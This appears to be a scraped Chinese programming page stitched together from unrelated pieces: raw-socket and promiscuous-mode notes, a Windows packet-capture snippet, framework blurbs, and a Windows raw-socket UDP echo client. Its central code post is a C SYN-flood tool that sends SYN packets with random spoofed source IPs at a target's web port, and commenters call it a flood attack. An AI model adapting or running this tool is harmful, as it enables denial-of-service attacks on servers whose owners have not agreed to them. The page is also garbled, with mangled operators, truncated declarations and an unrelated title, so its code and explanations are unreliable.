录音笔多少钱一支价格大约多少?

1775人阅读
C&C++(43)
Unix&Linux(56)
网络(17)
1、链路层原始套接字创建方法:socket(PF_PACKET, SOCK_RAW, htons(protocol)),其中protocal参数为关心的协议类型。
2、默认情况下网卡只处理目的地址是本机网卡地址的包,可通过设置混杂模式,使网卡将收到的所有包(包括组播和广播)都转发给操作系统。代码如下:
& & struct ifreq & &
& & strcpy(ifr.ifr_name, if_name);
& & ioctl(fd, SIOCGIFFLAGS, &ifr);
& & ifr.ifr_flags |= IFF_PROMISC;
& & ioctl(fd, SIOCSIFFLAGS, &ifr);
3、对于多网卡系统,操作系统在收包时不区分是从哪个网卡收到的,统一转发给用户进程socket,特别的,当用户进程创建了原始套接字socket,那么操作系统在转发消息时,将从网卡收到的buf复制给所有的、关心的原始套接字(原因是操作系统不知道怎么区分不同的原始套接字的包)。
4、可通过bind函数将创建的原始套接字绑定到指定的addr,addr的实际类型为struct sockaddr_ll,绑定时需要设置sll_family,sll_protocol,sll_ifindex这几个参数。其中,sll_ifindex为指定的接口名称的索引,可通过ioctl函数获取ioctl(fd, SIOCGIFINDEX, &ifr);
& int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
& struct sockaddr_ll{
& & unsigned short int sll_
& & unsigned short int sll_
& & int sll_
& & unsigned short int sll_
& & unsigned char sll_
& & unsigned char sll_
& & unsigned char sll_addr[8];
5、sendto函数在发送链路层数据时,需要自己组织buf内容,包括以太网头和协议内容。其中dest_addr参数必须设置,与应用层sendto函数指定目的地址不同,链路层发送时需要指定将buf从本机的哪个网卡发送出去。同样,实际类型为struct sockaddr_ll,只需要设置sll_ifindex参数即可。
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen);
6、recvfrom函数在接收数据时,如果本机的任意一个网卡设置了混杂模式,那么这个函数都能收到链路层包,除非sockfd采用bind函数绑定了网卡。如果绑定的网卡设置了混杂模式,则只能收到发往本网卡包(包括组播包和广播包等)。其中,src_addr为发送包的源地址。
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
7、应用层socket通过(源IP、源端口、目的IP、目的端口)四元组来确定socket对应的进程,操作系统在转发包时能够确定唯一的进程ID;而原始套接字socket没有端口的概念,所以只能通过(源IP、目的IP)或(源MAC、目的MAC)二元组来区分不同的进程。ping程序通过在协议字段里添加进程ID来区分;而Y1731协议里没有设置这个字段的地方。
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:74653次
积分:1659
积分:1659
排名:第19427名
原创:97篇Windows下通过使用RAW原始套接字进行抓包
Windows下通过使用RAW原始套接字进行抓包
// 设置为任意端口
DWORD uiOptval = 1;
char charRecv[10];
DWORD dwBytesRet = 0;
WSAIoctl(nAnniSock, (IOC_IN | IOC_VENDOR | 1), &uiOptval,&sizeof(uiOptval), charRecv, sizeof(charRecv), &dwBytesRet, NULL, NULL);
fd_set udpSetA
FD_ZERO(&udpSetAnni);
FD_SET(nAnniSock, &udpSetAnni);
// 调用select函数检查是否有数据包到达,否则直接用recvfrom会导致阻塞
if (select(NULL, &udpSetAnni, NULL, NULL, &timeoutonce))
// 接收缓冲区
char buffer[298];
memset(buffer, NULL, sizeof(buffer));
// 接收UDP包
recvfrom(nAnniSock, buffer, sizeof(buffer), NULL,&(sockaddr*)&stSockCamera, &nLen);
感谢关注 Ithao123Windows频道,是专门为互联网人打造的学习交流平台,全面满足互联网人工作与学习需求,更多互联网资讯尽在 IThao123!
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
Hadoop是一个由Apache基金会所开发的分布式系统基础架构。
用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。
Hadoop实现了一个分布式文件系统(Hadoop Distributed File System),简称HDFS。HDFS有高容错性的特点,并且设计用来部署在低廉的(low-cost)硬件上;而且它提供高吞吐量(high throughput)来访问应用程序的数据,适合那些有着超大数据集(large data set)的应用程序。HDFS放宽了(relax)POSIX的要求,可以以流的形式访问(streaming access)文件系统中的数据。
Hadoop的框架最核心的设计就是:HDFS和MapReduce。HDFS为海量的数据提供了存储,则MapReduce为海量的数据提供了计算。
Swift是Apple在WWDC2014所发布的一门编程语言,用来撰写OS X和iOS应用程序[1]。在设计Swift时.就有意和Objective-C共存,Objective-C是Apple操作系统在导入Swift前使用的编程语言
Swift是供iOS和OS X应用编程的新编程语言,基于C和Objective-C,而却没有C的一些兼容约束。Swift采用了安全的编程模式和添加现代的功能来使得编程更加简单、灵活和有趣。界面则基于广受人民群众爱戴的Cocoa和Cocoa Touch框架,展示了软件开发的新方向。
PHP(外文名:PHP: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
IThao123周刊Linux网络编程: 原始套接字
- 开源中国社区
当前访客身份:游客 [
当前位置:
发布于 日 13时,
原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
注意原始套接字只能够由有 root权限的人创建.&
代码片段(1)
1.&[代码][C/C++]代码&&&&
/********************
*****************/
#include &stdlib.h&
#include &stdio.h&
#include &errno.h&
#include &string.h&
#include &unistd.h&
#include &netdb.h&
#include &sys/socket.h&
#include &netinet/in.h&
#include &sys/types.h&
#include &arpa/inet.h&
#define DESTPORT
/* 要攻击的端口(WEB)
#define LOCALPORT
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
struct sockaddr_
struct hostent *
if(argc!=2)
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
host=gethostbyname(argv[1]);
if(host==NULL)
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
addr.sin_addr=*(struct in_addr *)(host-&h_addr_list[0]);
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd&0)
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
没有办法,只用超级护用户才可以使用原始套接字
*********/
setuid(getpid());
/*********
发送炸弹了!!!!
send_tcp(sockfd,&addr);
发送炸弹的实现
*********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
char buffer[100];
/**** 用来放置我们的数据包
struct ip *
struct tcphdr *
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
填充IP数据包的头部,还记得IP的头格式吗?
ip=(struct ip *)
ip-&ip_v=IPVERSION;
/** 版本一般的是 4
ip-&ip_hl=sizeof(struct ip)&&2; /** IP数据包的头部长度
ip-&ip_tos=0;
/** 服务类型
ip-&ip_len=htons(head_len);
/** IP数据包的长度
ip-&ip_id=0;
/** 让系统去填写吧
ip-&ip_off=0;
/** 和上面一样,省点时间 **/
ip-&ip_ttl=MAXTTL;
/** 最长的时间
ip-&ip_p=IPPROTO_TCP;
/** 我们要发的是 TCP包
ip-&ip_sum=0;
/** 校验和让系统去做
ip-&ip_dst=addr-&sin_
/** 我们攻击的对象
开始填写TCP数据包
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp-&source=htons(LOCALPORT);
tcp-&dest=addr-&sin_
/** 目的端口
tcp-&seq=random();
tcp-&ack_seq=0;
tcp-&doff=5;
tcp-&syn=1;
/** 我要建立连接 **/
tcp-&check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^
你不知道我是从那里来的,慢慢的去等吧!
ip-&ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
下面这条可有可无
tcp-&check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
register int nleft=
register int sum=0;
register short *w=
short answer=0;
while(nleft&1)
sum+=*w++;
if(nleft==1)
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum=(sum&&16)+(sum&0xffff);
sum+=(sum&&16);
return(answer);
开源中国-程序员在线工具:
相关的代码(62)
9回/74404阅
[Shell/批处理]
36回/14033阅
12回/9542阅
6回/6886阅
4回/5607阅
[Shell/批处理]
3回/5359阅
4回/4581阅
[Shell/批处理]
36回/4314阅
15回/3624阅
1回/3668阅
SYN泛洪攻击……
2楼:tsuibin 发表于
我有一个疑问,就是使用原始套接字,如何实现TCP的“连接”和UDP的无“连接”?
3楼:intruder 发表于
还是不明白什么是套接字。
4楼:sincoder 发表于
不错 不错 这样可以写个 端口扫描器
5楼:sincoder 发表于
不错 不错 这样可以写个 端口扫描器
6楼:煮猪侠 发表于
请问tcp校检和的计算怎么没有把为首部加上去啊?
7楼:煮猪侠 发表于
tcp校检和是不是一定要自己计算的
8楼:gorillazman 发表于
这段代码编译通不过缺少ip.h和tcp.h两个头文件,并且sendto的参数有问题。
9楼:love_gong 发表于
这段应该使用的是send函数,而非sendto函数
10楼:colaghost_01 发表于
引用来自“love_gong”的评论 这段应该使用的是send函数,而非sendto函数 是应该用sendto的,这里要指定地址
开源从代码分享开始
Ackarlix的其它代码Windows下基于原始套接字的回射客户端的源码
SocketFrame.cpp:
#include &StdAfx.h&
#include &SocketFrame.h&
#include &ws2tcpip.h&
#include &mstcpip.h&
CSocketFrame::CSocketFrame(void)
CSocketFrame::~CSocketFrame(void)
/********************************************************
函数名:set_address
输入参数:char * hname:主机名 or 点分十进制表示的IP地址
char * sname:端口号
struct sockaddr_in * sap:以sockaddr_in结构存储的地址(输出参数)
char * protocol:字符串形式描述的协议类型,如&tcp&
输出参数:0表示成功,1表示失败。
功能:根据给定的主机名或点分十进制表示的IP地址获得以sockaddr_in结构存储的地址
*********************************************************/
int CSocketFrame::set_address(char * hname, char * sname, struct sockaddr_in * sap, char * protocol)
struct servent *
struct hostent *
unsigned long ulAddr = INADDR_NONE;
//对地址结构socketaddr_in初始化为0,并设置地址族为AF_INET
memset( sap,0, sizeof( *sap ) );
sap-&sin_family = AF_INET;
if ( hname != NULL )
//如果hname不为空,假定给出的hname为点分十进制表示的数字地址,转换地址为sockaddr_in类型
ulAddr = inet_addr(hname);
if ( ulAddr == INADDR_NONE || ulAddr == INADDR_ANY) {
printf(&inet_addr 函数调用错误,错误号: %d\n&, WSAGetLastError());
//调用错误,表明给出的是主机名,调用gethostbyname获得主机地址
hp = gethostbyname( hname );
if ( hp == NULL ) {
printf(&未知的主机名,错误号: %d\n&, WSAGetLastError());
sap-&sin_addr = *( struct in_addr * )hp-&h_
sap-&sin_addr.S_un.S_addr=ulA
//如果调用者没有指定一个主机名或地址,则设置地址为通配地址INADDR_ANY
sap-&sin_addr.s_addr = htonl( INADDR_ANY );
//尝试转换sname为一个整数
port = (unsigned short )strtol( sname, &endptr, 0 );
if ( *endptr == '\0' )
//如果成功则转换为网络字节顺序
sap-&sin_port = htons( port );
//如果失败,则假定是一个服务名称,通过调用getservbyname获得端口号
sp = getservbyname( sname, protocol );
if ( sp == NULL ) {
printf(&未知的服务,错误号: %d\n&, WSAGetLastError());
sap-&sin_port = sp-&s_
/********************************************************
函数名:start_up
输入参数:无
输出参数:0:成功,1:失败
功能:初始化Windows Sockets DLL,协商版本号
*********************************************************/
int CSocketFrame::start_up(void)
WORD wVersionR
WSADATA wsaD
// 使用 MAKEWORD(lowbyte, highbyte) 宏,在Windef.h 中声明
wVersionRequested = MAKEWORD(2, 2);
iResult = WSAStartup(wVersionRequested, &wsaData);
if (iResult != 0) {
//告知用户无法找到合适可用的Winsock DLL
printf(&WSAStartup 函数调用错误,错误号: %d\n&,
WSAGetLastError());
// 确认WinSock Dll支持版本2.2
// 注意,如果DLL支持的版本比2.2更高,根据用户调用前的需求,仍然返回2.2版本号,存储于wsaData.wVersion
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
// 告知用户无法找到可用的WinSock DLL.
printf(&无法找到可用的Winsock.dll版本\n&);
WSACleanup();
printf(&Winsock 2.2 dll成功找到\n&);
/********************************************************
函数名:clean_up
输入参数:无
输出参数:0:成功,1:失败
功能:终止Windows Sockets DLL的使用,释放资源
*********************************************************/
int CSocketFrame::clean_up(void)
iResult = WSACleanup();
if (iResult == SOCKET_ERROR) {
// WSACleanup调用失败
printf(&WSACleanup 函数调用错误,错误号: %d\n&,
WSAGetLastError());
printf(&Winsock dll 释放成功\n&);
/********************************************************
函数名:quit
输入参数:SOCKET s:服务器的连接套接字
输出参数:0:成功,1:失败
功能:关闭套接字,释放dll
*********************************************************/
int CSocketFrame::quit(SOCKET s)
int iResult=0;
iResult = closesocket(s);
if (iResult == SOCKET_ERROR){
printf(&closesocket 函数调用错误,错误号:%d\n&, WSAGetLastError());
iResult = clean_up();
/********************************************************
函数名:tcp_server
输入参数:char * hname:服务器主机名 or 点分十进制表示的IP地址
char * sname:服务端口号
输出参数:创建服务器端流式套接字并配置,0:表示失败
功能:创建流式套接字,根据用户输入的地址和端口号,绑定套接字的服务地址
将其转换为监听状态
*********************************************************/
SOCKET CSocketFrame::tcp_server( char *hname, char *sname )
SOCKET ListenS
const int on = 1;
int iResult = 0;
//为服务器的本地地址local设置用户输入的IP和端口号
if (set_address( hname, sname, &local, &tcp& ) ==1 )
//创建套接字
ListenSocket = socket( AF_INET, SOCK_STREAM, 0 );
if (ListenSocket == INVALID_SOCKET) {
printf(&socket 函数调用错误,错误号: %ld\n&, WSAGetLastError());
clean_up();
//设置服务器地址可重用选项
iResult = setsockopt( ListenSocket, SOL_SOCKET, SO_REUSEADDR, ( char * )&on, sizeof( on ));
if ( iResult == SOCKET_ERROR){
printf(&setsockopt函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ListenSocket);
//绑定服务器地址
iResult = bind( ListenSocket, (struct sockaddr *) & local, sizeof (local));
if (iResult == SOCKET_ERROR) {
printf(&bind 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ListenSocket);
//设置服务器为监听状态,监听队列长度为NLISTEN
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR){
printf(&listen 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ListenSocket);
return ListenS
/********************************************************
函数名:tcp_client
输入参数:char * hname:服务器主机名 or 点分十进制表示的IP地址
char * sname:服务端口号
输出参数:创建客户端流式套接字,0:表示失败
功能:创建流式套接字,根据用户输入的地址和端口号,向服务地址
请求建立连接
*********************************************************/
SOCKET CSocketFrame::tcp_client( char *hname, char *sname )
struct sockaddr_
SOCKET ClientS
int iResult = 0;
//指明服务器的地址peer为用户输入的IP和端口号
if (set_address( hname, sname, &peer, &tcp& ) ==1 )
//创建套接字
ClientSocket = socket( AF_INET, SOCK_STREAM, 0 );
if (ClientSocket == INVALID_SOCKET) {
printf(&socket 函数调用错误,错误号: %ld\n&, WSAGetLastError());
clean_up();
//请求向服务器建立连接
iResult =connect( ClientSocket, ( struct sockaddr * )&peer, sizeof( peer ) );
if (iResult == SOCKET_ERROR){
printf(&connect 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ClientSocket);
return ClientS
/********************************************************
函数名:recvn
输入参数:SOCKET s:服务器的连接套接字
char * recvbuf:存放接收到数据的缓冲区
int fixedlen:固定的预接收数据长度
输出参数:&0:实际接收到的字节数,-1:失败
功能:在流式套接字中接收固定长度的数据
********************************************************/
int CSocketFrame::recvn(SOCKET s, char * recvbuf, unsigned int fixedlen)
int iR//存储单次recv操作的返回值
//用于统计相对于固定长度,剩余多少字节尚未接收
while ( cnt & 0 )
iResult = recv(s, recvbuf, cnt, 0);
if ( iResult & 0 )
//数据接收出现错误,返回失败
printf(&接收发生错误: %d\n&, WSAGetLastError());
return -1;
if ( iResult == 0 )
//对方关闭连接,返回已接收到的小于fixedlen的字节数
printf(&连接关闭\n&);
return fixedlen -
//printf(&接收到的字节数: %d\n&, iResult);
//接收缓存指针向后移动
recvbuf +=iR
//更新cnt值
/********************************************************
函数名:recvvl
输入参数:SOCKET s:服务器的连接套接字
char * recvbuf:存放接收到数据的缓冲区
int recvbuflen:接收缓冲区长度
输出参数:&0:实际接收到的字节数,-1:失败,0:连接关闭
功能:在流式套接字中接收可变长度的数据
********************************************************/
int CSocketFrame::recvvl(SOCKET s, char * recvbuf, unsigned int recvbuflen)
int iR//存储单次recv操作的返回值
//用于存储报文头部存储的长度信息
//获取接收报文长度信息
iResult = recvn(s, ( char * )&reclen, sizeof( unsigned int ));
if ( iResult !=sizeof ( unsigned int ))
//如果长度字段在接收时没有返回一个整型数据就返回0(连接关闭)或-1(发生错误)
if ( iResult == -1 )
printf(&接收发生错误: %d\n&, WSAGetLastError());
return -1;
printf(&连接关闭\n&);
//转换网络字节顺序到主机字节顺序
reclen = ntohl( reclen );
if ( reclen & recvbuflen )
//如果recvbuf没有足够的空间存储变长消息,则接收该消息并丢弃,返回错误
while ( reclen & 0)
iResult = recvn( s, recvbuf, recvbuflen );
if ( iResult != recvbuflen )
//如果变长消息在接收时没有返回足够的数据就返回0(连接关闭)或-1(发生错误)
if ( iResult == -1 )
printf(&接收发生错误: %d\n&, WSAGetLastError());
return -1;
printf(&连接关闭\n&);
//处理最后一段数据长度
if ( reclen & recvbuflen )
recvbuflen =
printf(&可变长度的消息超出预分配的接收缓存\r\n&);
return -1;
//接收可变长消息
iResult = recvn( s, recvbuf, reclen );
if ( iResult != reclen )
//如果消息在接收时没有返回足够的数据就返回0(连接关闭)或-1(发生错误)
if ( iResult == -1 )
printf(&接收发生错误: %d\n&, WSAGetLastError());
return -1;
printf(&连接关闭\n&);
/********************************************************
函数名:udp_server
输入参数:char * hname:服务器主机名 or 点分十进制表示的IP地址
char * sname:服务端口号
输出参数:创建服务器端流式套接字并配置,0:表示失败
功能:创建流式套接字,根据用户输入的地址和端口号,绑定套接字的服务地址
将其转换为监听状态
*********************************************************/
SOCKET CSocketFrame::udp_server( char *hname, char *sname )
SOCKET ServerS
const int on = 1;
int iResult = 0;
//为服务器的本地地址local设置用户输入的IP和端口号
if (set_address( hname, sname, &local, &udp& ) ==1 )
//创建套接字
ServerSocket = socket( AF_INET, SOCK_DGRAM, 0 );
if (ServerSocket == INVALID_SOCKET) {
printf(&socket 函数调用错误,错误号: %ld\n&, WSAGetLastError());
clean_up();
//设置服务器地址可重用选项
iResult = setsockopt( ServerSocket, SOL_SOCKET, SO_REUSEADDR, ( char * )&on, sizeof( on ));
if ( iResult == SOCKET_ERROR){
printf(&setsockopt函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ServerSocket);
//绑定服务器地址
iResult = bind( ServerSocket, (struct sockaddr *) & local, sizeof (local));
if (iResult == SOCKET_ERROR) {
printf(&bind 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ServerSocket);
return ServerS
/********************************************************
函数名:udp_client
输入参数:char * hname:服务器主机名 or 点分十进制表示的IP地址
char * sname:服务端口号
BOOL flag:工作模式标识,true表示连接模式,false表示非连接模式
输出参数:创建客户端流式套接字,0:表示失败
功能:创建数据报套接字,根据用户输入的地址和端口号
*********************************************************/
SOCKET CSocketFrame::udp_client( char *hname, char *sname, BOOL flag)
struct sockaddr_
SOCKET ClientS
int iResult = 0;
//指明服务器的地址peer为用户输入的IP和端口号
if (set_address( hname, sname, &peer, &udp& ) ==1 )
//创建套接字
ClientSocket = socket( AF_INET, SOCK_DGRAM, 0 );
if (ClientSocket == INVALID_SOCKET) {
printf(&socket 函数调用错误,错误号: %ld\n&, WSAGetLastError());
clean_up();
if( flag == TRUE)
//连接模式
//请求向服务器建立连接
iResult =connect( ClientSocket, ( struct sockaddr * )&peer, sizeof( peer ) );
if (iResult == SOCKET_ERROR){
printf(&connect 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(ClientSocket);
return ClientS
/********************************************************
函数名:check_sum
输入参数:
USHORT *pchBuffer:待计算校验和的缓冲区
int iSize:待计算校验和缓冲区长度
输出参数:校验和
功能:计算校验和
*********************************************************/
USHORT CSocketFrame::check_sum(USHORT *pchBuffer, int iSize)
unsigned long ulCksum=0;
while (iSize & 1)
ulCksum += *pchBuffer++;
iSize -= sizeof(USHORT);
if (iSize)
ulCksum += *(UCHAR*)pchB
ulCksum = (ulCksum && 16) + (ulCksum & 0xffff);
ulCksum += (ulCksum &&16);
return (USHORT)(~ulCksum);
/********************************************************
函数名:raw_socket
输入参数:
BOOL bSendflag:首部控制选项
BOOL bRecvflag:接收控制选项
int iProtocol:协议设置,具体内容参考MSDN对协议的定义,如#define IPPROTO_IP 0
sockaddr_in *pLocalIP:指向本地IP地址的指针,返回参数,如果存在多个接口地址,获取用户选择的本地地址
输出参数:创建客户端流式套接字,0:表示失败
功能:创建数据报套接字,根据用户输入的地址和端口号
*********************************************************/
SOCKET CSocketFrame::raw_socket( BOOL bSendflag, BOOL bRecvflag, int iProtocol, sockaddr_in *pLocalIP)
SOCKET RawS
int iResult = 0;
struct hostent *
char HostName[DEFAULT_NAMELEN];
struct in_
int in=0,i=0;
DWORD dwBufferLen[10];
DWORD Optval= 1 ;
DWORD dwBytesReturned = 0 ;
//创建套接字
RawSocket = socket( AF_INET, SOCK_RAW, iProtocol );
if (RawSocket == INVALID_SOCKET) {
printf(&socket 函数调用错误,错误号: %ld\n&, WSAGetLastError());
clean_up();
if( bSendflag == TRUE)
//设置IP_HDRINCL表示要构造IP头,需#include &ws2tcpip.h&
iResult = setsockopt(RawSocket,IPPROTO_IP,IP_HDRINCL,(char*)&bSendflag,sizeof(bSendflag));
if (iResult == SOCKET_ERROR){
printf(&setsockopt 函数调用错误,错误号: %d\n&, WSAGetLastError());
quit(RawSocket);
if( bRecvflag == TRUE)
//设置I/O控制选项,接收全部IP包
//获取本机名称
memset( HostName, 0, DEFAULT_NAMELEN);
iResult = gethostname( HostName, sizeof(HostName));
if ( iResult ==SOCKET_ERROR) {
printf(&gethostname 函数调用错误,错误号: %ld\n&, WSAGetLastError());
quit(RawSocket);
//获取本机可用IP
local = gethostbyname( HostName);
printf (&\n本机可用的IP地址为:\n&);
if( local ==NULL)
printf(&gethostbyname 函数调用错误,错误号: %ld\n&, WSAGetLastError());
quit(RawSocket);
while (local-&h_addr_list[i] != 0) {
addr.s_addr = *(u_long *) local-&h_addr_list[i++];
printf(&\tIP Address #%d: %s\n&, i, inet_ntoa(addr));
printf (&\n请选择捕获数据待使用的接口号:&);
scanf_s( &%d&, &in);
memset( pLocalIP, 0, sizeof(sockaddr_in));
memcpy( &pLocalIP-&sin_addr.S_un.S_addr, local-&h_addr_list[in-1], sizeof(pLocalIP-&sin_addr.S_un.S_addr));
pLocalIP-&sin_family = AF_INET;
pLocalIP-&sin_port = 0;
//绑定本地地址
iResult = bind( RawSocket, (struct sockaddr *) pLocalIP, sizeof(sockaddr_in));
if( iResult == SOCKET_ERROR){
printf(&bind 函数调用错误,错误号: %ld\n&, WSAGetLastError());
quit(RawSocket);
printf(& \n成功绑定套接字和#%d号接口地址&, in);
//设置套接字接收命令
iResult = WSAIoctl(RawSocket, SIO_RCVALL , &Optval, sizeof(Optval),
&dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL );
if ( iResult == SOCKET_ERROR ){
printf(&WSAIoctl 函数调用错误,错误号: %ld\n&, WSAGetLastError());
quit(RawSocket);
return RawS
EchoUDPClientRaw.cpp:
// EchoUDPClientRaw.cpp : 定义控制台应用程序的入口点。
#include &stdafx.h&
#include &winsock2.h&
#include &ws2tcpip.h&
#include &stdio.h&
#include &SocketFrame.h&
#pragma pack(push,1)
#define MAXLINE
200 // 发送和接收缓冲区的长度
#define INPUTLINE
100 // 输入文本的长度
#define ECHOPORT
7210//回射服务器的端口号
/********************************************************
函数名:UDP_MakeProbePkt
输入参数:char *pUDPData:待填充的缓冲区指针,应填充包括IP首部在内的数据
char *pInputData:存储用户输入的字符串
UINT uSrcIP:源IP地址
UINT uDstIP:目的IP地址
USHORT uSrcPort:源端口号
USHORT uDestPort:目的端口号
输出参数:构造后的缓冲区有效字节长度。
功能:构造UDP协议的回射报文
*********************************************************/
int UDP_MakeProbePkt(char *pUDPData, char *pInputData, UINT uSrcIP, UINT uDestIP, USHORT uSrcPort, USHORT uDestPort)
//基本IP头定义
UDPHDR *UDP
//UDP头定义
char buf[MAXLINE];
//数据缓冲
/////////设置IP头
ZeroMemory(buf,sizeof(buf));
IPhdr=(IPHDR *)pUDPD
IPhdr-&version = 4;
IPhdr-&hdr_len = 5;
IPhdr-&TOS = 0;
IPhdr-&TotLen = htons(sizeof(IPHDR)+sizeof(UDPHDR)+strlen(pInputData));
IPhdr-&ID = (USHORT)GetCurrentThreadId();
IPhdr-&FlagOff = 0;
IPhdr-&TTL = 0
IPhdr-&Protocol = IPPROTO_UDP;
IPhdr-&Checksum = 0x0;
//源地址为本机地址
IPhdr-&IPSrc = uSrcIP;
//目的地址为入参,可能变化
IPhdr-&IPDst = uDestIP;
////////// 构造UDP包
UDPhdr=(UDPHDR *)(pUDPData+sizeof(IPHDR));
UDPhdr-&dst_portno = htons(uDestPort);
UDPhdr-&src_portno = htons(uSrcPort);
UDPhdr-&udp_checksum = 0;
//UDPhdr-&udp_length = htons(sizeof(UDPHDR));
data=pUDPData+sizeof(IPHDR)+sizeof(UDPHDR);
int ii=strlen(pInputData);
memcpy(data,pInputData,strlen(pInputData));
UDPhdr-&udp_length = htons(sizeof(UDPHDR)+strlen(pInputData));
//设置伪头
Fhdr.IPDst = IPhdr-&IPD
Fhdr.IPSrc = IPhdr-&IPS
Fhdr.protocol = IPPROTO_UDP;
Fhdr.udp_length = UDPhdr-&udp_
Fhdr.zero = 0x00;
//计算UDP校验和
//校验和计算范围包括:UDP头,伪首部和用户数据
char *ptmp =
memcpy(ptmp,&Fhdr,sizeof(Fhdr));
ptmp += sizeof(Fhdr);
memcpy(ptmp,UDPhdr,sizeof(UDPHDR));
ptmp +=sizeof(UDPHDR);
memcpy(ptmp,data,strlen(pInputData));
UDPhdr-&udp_checksum = frame.check_sum((USHORT*)buf,sizeof(Fhdr)+sizeof(UDPHDR)+strlen(pInputData));
iRet = sizeof(IPHDR) + sizeof(UDPHDR)+strlen(pInputData);
/********************************************************
函数名:UDP_Filter
输入参数:char *pUDPData:待填充的缓冲区指针,应填充包括IP首部在内的数据
UINT uServerIP:目标IP地址
USHORT uServerPort:目标端口号
输出参数:true表示找到回射应答,false表示当前收到的数据报并不是服务器的回射应答。
功能:对接收到的数据报进行过滤,获得由回射服务器发回的应答
*********************************************************/
BOOL UDP_Filter(char *pUDPData, UINT uServerIP,USHORT uServerPort)
IPHDR *pIP
//基本IP头定义
UDPHDR *pUDP
//UDP头定义
UINT uSourceIP;
//接收到包的源IP地址
USHORT uSourceP
//接收到包的源端口
pIPhdr=(IPHDR *)pUDPD
uSourceIP = pIPhdr-&IPS
pUDPhdr=(UDPHDR *)(pUDPData+sizeof(IPHDR));
uSourcePort = ntohs(pUDPhdr-&src_portno);
pData = pUDPData +sizeof(IPHDR) +sizeof(UDPHDR);
if ( pIPhdr-&Protocol ==17 && uSourceIP == uServerIP && uSourcePort == uServerPort)
//服务器返回的应答
printf(&客户端接收到数据:%s \r\n&, pData );
/********************************************************
函数名:UDP_Echo
输入参数:SOCKET sockSendRaw:用于发送UDP报文的原始套接字
SOCKET sockRecvRaw:用于接收响应的原始套接字
UINT uSrcIP:源IP地址
UINT uDstIP:目的IP地址
USHORT uSrcPort:源端口号
USHORT uDestPort:目的端口号
输出参数:0:成功,1:失败
功能:回射客户端的具体功能函数
*********************************************************/
BOOL UDP_Echo(SOCKET sockSendRaw,SOCKET sockRecvRaw, UINT uSrcIP,UINT uDstIP,USHORT uSrcPort,USHORT uDestPort)
//初始化参数
SOCKADDR_IN
iResult=0;
bResult=FALSE;
//申请缓冲区
char sendline[MAXLINE],recvline[MAXLINE],inputline[INPUTLINE];
memset(sendline,0,MAXLINE);
memset(recvline,0,MAXLINE);
memset(inputline,0,INPUTLINE);
//设置目的地址
memset(&saDest,0 ,sizeof(saDest));
saDest.sin_family = AF_INET;
saDest.sin_addr.s_addr = uDstIP;
//构造分析数据报文
//循环发送用户的输入数据,并接收服务器返回的应答,直到用户输入&Q&结束
fflush(stdin);
gets_s(inputline,INPUTLINE);
if( *inputline == 'Q'){
printf(&input end!\n&);
while(strlen(inputline)!=0)
len = UDP_MakeProbePkt(sendline, inputline, uSrcIP,uDstIP,uSrcPort,uDestPort);
//发送回射请求
iResult = sendto(sockSendRaw,sendline,len,0,(SOCKADDR *)&saDest,sizeof(saDest));
if(iResult == SOCKET_ERROR)
printf(&sendto 函数调用错误,错误号: %ld\n&, WSAGetLastError());
printf(&\r\n客户端发送%d字节数据\r\n&, iResult);
memset(recvline,0,MAXLINE);
while((iResult = recvfrom( sockRecvRaw, recvline, MAXLINE, 0, NULL, NULL )) &0)
